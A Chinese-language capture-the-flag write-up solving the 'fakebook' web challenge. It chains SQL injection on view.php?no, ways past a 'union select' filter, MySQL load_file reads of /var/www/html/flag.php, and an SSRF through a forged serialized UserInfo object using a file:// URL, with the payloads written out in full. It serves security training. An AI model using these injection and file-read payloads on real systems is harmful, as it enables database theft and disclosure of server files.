攻防世界(Web进阶区)——fakebook

这个思路可能并不是靶场原本想要让用户做的,但也无妨吧,怎样不是做呢。象棋高手总结了几十年的经验,也可能会输给新入门的新手。新手经验不足,更不谈什么战术,无心的一步棋,可能会让老者思前顾后,露出弱点。

进入靶场:

除了一个login登陆按钮,还有一个join注册按钮。开始之前,一般会习惯性的扫描下目录,看看有什么漏掉的文件。如果大家经常刷题,可以自己写一个目录扫描工具,然后自己整理一套有针对性的刷题字典。因为在刷题的过程中,我们会发现用到的就那么几个:index.html,robotx.txt,flag.txt,flag.php,flag.phps等等之类的。遇到一个字典里存一个,每次刷题用自己的小字典过一遍,速率会提高很多。

我之前写过一个,根据响应状态码是否为200来判断页面是否存在。但是对此靶场来说,要灵活运用下:

输出的每条信息分为三部分:请求URL,响应状态码,响应内容的长度。有个奇怪的问题,会发现所有的请求响应码全是200,但是通过长度,你基本可以判断,请求不存在的路径时,都会返回同一个页面。那么根据响应长度,基本也就可以判断两个隐藏页面的存在:robots.txt和flag.php。

都有flag.php了,我们还玩什么呢?有是有,但是响应内容为空呀。如果我们确定了一个页面存在,访问后页面内容为空,有两种情况,要么页面本身就没有内容,那我们还玩个锤儿啊。再来就是没有访问权限,服务器禁止通过HTTP直接请求flag.php文件。那接下来我们所有的思路就可以明确,就是要找系统中能够访问flag.php的其他方式。

(SSRF,服务器端请求伪造,全称Server-Side Request Forgery,是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。现在,我们通过浏览器直接访问flag.php内容并不返回内容,这个请求对于服务器来说是外部请求。当攻击者可以通过SSRF让服务器内部功能访问flag文件时,这种外部禁止访问的限制也就会相应消失。)

我们可以返回靶场试下,返回长度为1181的,页面都是最开始主页,验证了最开始的想法。而“君子协议”里面有个user.php.bak不允许访问,所以我们要访问一下。

直接请求,会将bak文件下载到本地。我们知道bak文件一般属于备份文件,即back-up。在项目发布前,为了避免泄露信息,这些东西都是要删除的。

文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

是一个UserInfo类,类对象有三个属性:name,age,blog。其余的部分有两个函数特殊些,一个get,一个isValidBlog。get方法通过curl发送请求(curl是一个利用url语法工作的传输工具,此例中的使用,即获得指定url的页面内容。详细内容,请自行查阅补充),且并未对参数url进行过滤,这种不对用户可控参数过滤的,我们就要重点对待下。isValidBlog函数是对blog参数进行的正则匹配,猜测对用户的输入格式进行了一定的限制。(getBlogContents函数调用了get函数,同样需要关注。)

初步的扫描工作已经完成,返回页面吧。

对于有登录,有注册的例题,我们要习惯性的尝试下弱口令:

结果全部弹窗提示“login failed”,换注册窗口,瞎注册一个,既然没有admin,那就注册个admin吧:

(此处的blog要求有一定的格式,isvalidblog函数检测输入的是不是一个有效URL,不过有“.”貌似就可以绕过了。并不清楚isvalidblog函数是否处理的此页面。)

admin注册成功了,你敢信?(一个良好的习惯是,对每一个POST提交表单都抓包跑一下。我很懒,闲抓包麻烦,就跳过了。也因此错过了一个可利用漏洞,在注册页面中的username一栏存在注入。)

整个页面除了蓝色用户名“admin”可以点击之外,没什么有价值的东西。查看下源码也毫无收获,那就点击“admin”吧。

整个页面如上图所示,显示了用户信息。还有个博客内容列表,不过没有东西。查看下源码你会发现,最下面是个iframe。

iframe的内容通过data伪协议获取,此处data协议的使用格式为:data:text/html;base64,

呐,拿到一个点,如果我们想办法让data协议后面接上flag.php的内容,是不是就能达到显示目的了。同时也来了两个问题:一,flag文件的路径并不清楚,通过扫描,我们只晓得它和主页面在同一目录下。二、如何将内容添加到data协议后面。

(反正我是没想到~)

整个页面还剩一个点,就是这个no参数:

把它换成0或者换成2,页面返回全部报错。但获得了重要信息,路径有了:

当然,这个信息说重要也重要,说不重要也就那样。因为玩的多了,我们发现路径一般都是/var/www/html。致此,确定一点flag文件路径为:/var/www/html/flag.php。

遇到了参数我们就要考虑注入呀,判断下:

1
2
view.php?no=1 and 1=1#
view.php?no=1 and 1=2#

一正常,一报错,存在注入无疑了。

第一步,先判断原sql语句查询的字段数,页面上就显示3个,那字段数肯定从3起步了。分别测试3,4,5后。可以判断SQL语句查询字段数为4,大概猜也能猜个差不多,应该就是注册时候的用户名、年龄、密码、blog。(谁能想到,看似完美的有依据的猜,就是懵,而且还懵错了。)

1
2
3
view.php?no=1 order by 3#
view.php?no=1 order by 4#
view.php?no=1 order by 5#

(报错信息里面又提到了一个文件db.php,我们很简单的能猜到,这是和数据库有关系的文件。这里你就可以把文件名整理到你自己的小字典里,为自己以后使用。当时并未注意到这点,不知db.php能否直接访问,大家可以试下。)

之后尝试用union select看看哪个字段可以回显利用,为了不让我们构造的select语句与原来语句的结果混在一起,将原语句查询结果置为空(no=2):

1
view.php?no=2 union select 1,2,3,4#

然后一个suprise,页面返回“no hack[手动哭脸]”,被发现了。

害,那就想办法绕过呗。尝试修改大小写,尝试复写union和select,最后发现应该是检测"union select"这个字符串,且不区分大小写。尝试用/**/或者++替换空格,都可以绕过:

1
2
3
4
5
6
view.php?no=2 UniOn select 1,2,3,4#
view.php?no=2 union SelEct 1,2,3,4#
view.php?no=2 uunionnion selselectect 1,2,3,4#

view.php?no=2 union/**/select 1,2,3,4#
view.php?no=2 union++select 1,2,3,4#

通过页面的返回结果,可以发现第二个字段可以回显利用:

到了这里,我会先看下当前数据库用户和数据库名称:

1
2
view.php?no=2 union++select 1,user(),3,4#
view.php?no=2 union++select 1,database(),3,4#

先抛开数据库名fakebook不说,这个root用户着实吓了一跳,权限之高,亮瞎狗眼。mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。这巧了不是,条件全都有。

1
view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

回显部分并没有显示内容,查看下源码:

得,打完收工。

(你会发现,前面搜集的好多点全部没用到,尤其是那个严重可疑的iframe,那如果不用root权限,还要继续吗?)

--------------------------------------------------------友好线----------------------------------------------------

不用load_file,继续注入下去。现在已经拿到了数据库名:fakebook,接下来拿表名:

1
view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

发现就一个表:users

找表的字段:

1
view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#

no,username,passwd,data四个字段,后面有几个未知字段,猜测是系统变量。

我们知道最开始注册的no为1,username和passwd也都知道是什么,唯独data字段的信息不明确,拿出来看看吧。

1
view.php?no=2 union/**/select 1,group_concat(username,passwd,data),3,4 from users where no=1#

可以看到admin中间部分为加密后的密码,最后的data内容很可疑。单独输出下:

啊,是个序列化后的UserInfo对象,这和我们最开始得到的那个备份文件契合了。

接下来的东西,我认为需要猜。最开始时的用户页面no=1时,页面返回用户的用户名、密码、博客之类的消息。毫无疑问,页面是根据users表中no=1的这条数据,渲染的页面。因为回显,我们只证明了查询语句的第二个字段是username。其余三个字段并不明确,但我们可以猜测,应该和数据库表中的字段顺序相似。第四个字段应该就是data,而我们现在有一个现成的data数据,能否模拟下?

1
view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:8:"123.blog";}'

你会发现页面正常返回了:

注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。

并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)

接下来就是让我迷的点,你修改对象序列里面的blog参数内容:

s:4:"blog";s:29:"file:///var/www/html/flag.php";

用file伪协议读取flag内容交给blog参数,然后你再查看源码,iframe的src就发生了变化:

1
view.php?no=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

src成了这么一段东西:

1
data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==

我们知道base64,后面是经过base64编码的,拿出来解下码:

回想刚刚的问题,如何想到的修改序列里面的blog参数呢?最开始blog参数值为123.blog,源码里iframe的src并没有什么变化。

个人认为,如果靶场想启发用户修改blog参数值,应当在blog值被修改后,源码里的src适当变化下,让用户知道,这个点可以使用。无论怎样换blog参数,src没有任何变化,就很难想到再跟进一步的利用伪协议去读取内容了。

当然,如果怪没有提示,也并不准确,因为有个点,我们还没用到。详细看最开始我们得到的备份文件:

getBlogContent函数,我们猜也是个获取blog内容的函数。而其内部调用了我们一开始就说有问题的get函数,接受一个url,并将指定url的内容返回。换而言之,只要blog参数是可以请求到内容,返回不为404的,getBlogContents函数即有返回结果。毫无疑问,伪协议file就能达到要求。

那我们换个链接请求下呗:

1
view.php?no=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:26:"http://111.198.29.45:34016";}%27

就换成靶场最开始的主页。

查看源码:

果不其然,将其base64转码,应该就能得到主页的源码了。

所以致此,我们可以总结下来。getBlogContents函数调用get函数,把unserinfo类中的blog参数当做一个URL,得到请求内容。而页面里iframe里的src根据得到的内容进行页面渲染。

正确的思路流程应当为,得到备份文件,明确getBlogContents函数通过一个URL获取内容,并且URL由类实例化对象的blog参数提供。然后在构造userinfo对象序列化发现页面可以正常返回之后,就尝试修改序列化中的blog参数,发现页面中iframe的src暴露信息,进而想到可以使用伪协议读取flag,并让src显示。

其实,在构造blog的时候,报错信息也一直在给予提示: